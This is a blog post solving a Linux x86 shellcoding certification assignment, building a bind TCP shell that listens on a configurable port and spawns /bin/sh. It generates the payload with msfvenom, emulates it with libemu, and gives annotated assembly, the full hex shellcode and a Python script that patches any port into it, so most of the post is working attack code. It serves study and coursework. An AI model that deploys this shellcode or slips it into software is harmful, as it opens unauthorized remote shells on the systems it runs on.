SLAE – Assignment #1: Bind TCP Shell
Before attending the Corelan training and the OSCE certification, I’ve decided to start the x86 Assembly Language and Shellcoding on Linux Pentester Academy’s course.
The next couple blogs (~7) will contains the assignments’ solutions for the SLAE certification exam.
Table of Contents
Assignment #1: Bind TCP Shell
Create a shell_bind_tcp shellcode that binds to a port and execute a shell on an incoming connection, the port number should be easy to configure.
Instead of going for the path of writing a C bind TCP shell from scratch, I decided to generate a raw Metasploit payload and to analyze it with libemu.
Installing Libemu
Libemu it’s a library useful to perform x86 emulation and, in this case, I will use it to analyze some Metasploit’s payloads.
Let’s install some of the needed software and libraries:
sudo apt-get install git autoconf libtool git clone https://github.com/buffer/libemu cd libemu autoreconf -v -i ./configure --prefix=/opt/libemu autoreconf -v -i sudo make install
Analyzing the Shellcode
All the code is also available on GitHub.
In order to analyze the shellcode, I’ve decided to use the included sctest tool, which can run raw shellcode. The output provides registers status, flags and application’s system calls (like gdb). The emulator, moreover, also performs some analysis on the system calls and their parameters, providing an awesome C pseudo-code.
msfvenom -p linux/x86/shell_bind_tcp -f raw | ./sctest -vvv -Ss 100000 -G bind_shellcode.dot
dot bind_shellcode.dot -T png > bind_shellcode.png
Note: remember to use the shell_bind_tcp as it’s the non-staged version of the bind TCP shellcode.
The -G switch allow us to generate a beautiful graph image of the assembly instructions:
Analyzing the image, we can understand that the shellcode needs to do the following steps:
- Create a socket
- Bind the socket
- Listen on the socket for an incoming connection
- Duplicate the file descriptors
- Execute /bin/sh via execve
ASM:
;----------- Create Socket ---------------------------- xor ebx,ebx ; resetting the registers mul ebx push ebx ; 0 (protocol) inc ebx ; ebx = 1 push ebx ; 1 (SOCK_STREAM) push byte +0x2 ; 2 (AF_INET) mov ecx,esp ; ecx = args array struct mov al,0x66 ; syscall 102 (socketcall) int 0x80 ; syscall ;----------- Bind the Socket -------------------------- pop ebx pop esi push edx push dword 0x5c110002 ; pushing port number 4444 push byte +0x10 ; addrlen push ecx push eax mov ecx,esp ; ecx = args array struct for the syscall push byte +0x66 ; syscall 102 (socketcall) pop eax int 0x80 ; syscall ;----------- Listen socket for incoming connection ---- mov [ecx+0x4],eax mov bl,0x4 ; SYS_LISTEN mov al,0x66 ; syscall 102 (socketcall) int 0x80 ; syscall ;----------- Accept Connection ------------------------ inc ebx mov al,0x66 ; syscall 102 (socketcall) int 0x80 ;----------- Duplicate the file descriptor ------------ xchg eax,ebx pop ecx push byte +0x3f ; syscall 63 (dup) pop eax int 0x80 ; syscall dec ecx ; decrement counter jns 0x32 ;----------- Execve ----------------------------------- push dword 0x68732f2f ; hs// push dword 0x6e69622f ; nib/ mov ebx,esp ; ebx = //bin/sh push eax push ebx mov ecx,esp ; argv = [filename,0] mov al,0xb ; syscall 12 (execve) int 0x80
Here the HEX encoded Metasploit payload:
\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x5b\x5e\x52\x68\x02\x00\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80
Knowing that our configured port has been set to 4444 (hex 5c11, accounting the endianness), I built a simple python script allowing me to easily replace the port in our shellcode.
# Paolo Stagno aka [VoidSec](https://voidsec.com) # SLAE-1511 #!/usr/bin/env python import sys; if (len(sys.argv) == 1): port = 4444 else: port = int(sys.argv[1]) if port < 0 or port > 65535: print "[!] Invalid TCP port number {}, must be between 0-65535".format(port) sys.exit(-1) # convert to hex and strip 0x hport=hex(port).strip("0x") # add an \\x every 2 chars hport="\\x"+"\\x".join(a+b for a,b in zip(hport[::2],hport[1::2])) shellcode= "\\x31\\xdb\\xf7\\xe3\\x53\\x43\\x53\\x6a\\x02\\x89\\xe1\\xb0\\x66\\xcd\\x80\\x5b\\x5e\\x52\\x68\\x02\\x00{}\\x6a\\x10\\x51\\x50\\x89\\xe1\\x6a\\x66\\x58\\xcd\\x80\\x89\\x41\\x04\\xb3\\x04\\xb0\\x66\\xcd\\x80\\x43\\xb0\\x66\\xcd\\x80\\x93\\x59\\x6a\\x3f\\x58\\xcd\\x80\\x49\\x79\\xf8\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80".format(hport) print "Bind TCP shellcode listening on port: {} - {}".format(port,hport) print "\n"+shellcode
SLAE Exam Statement
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.
Student ID: SLAE-1511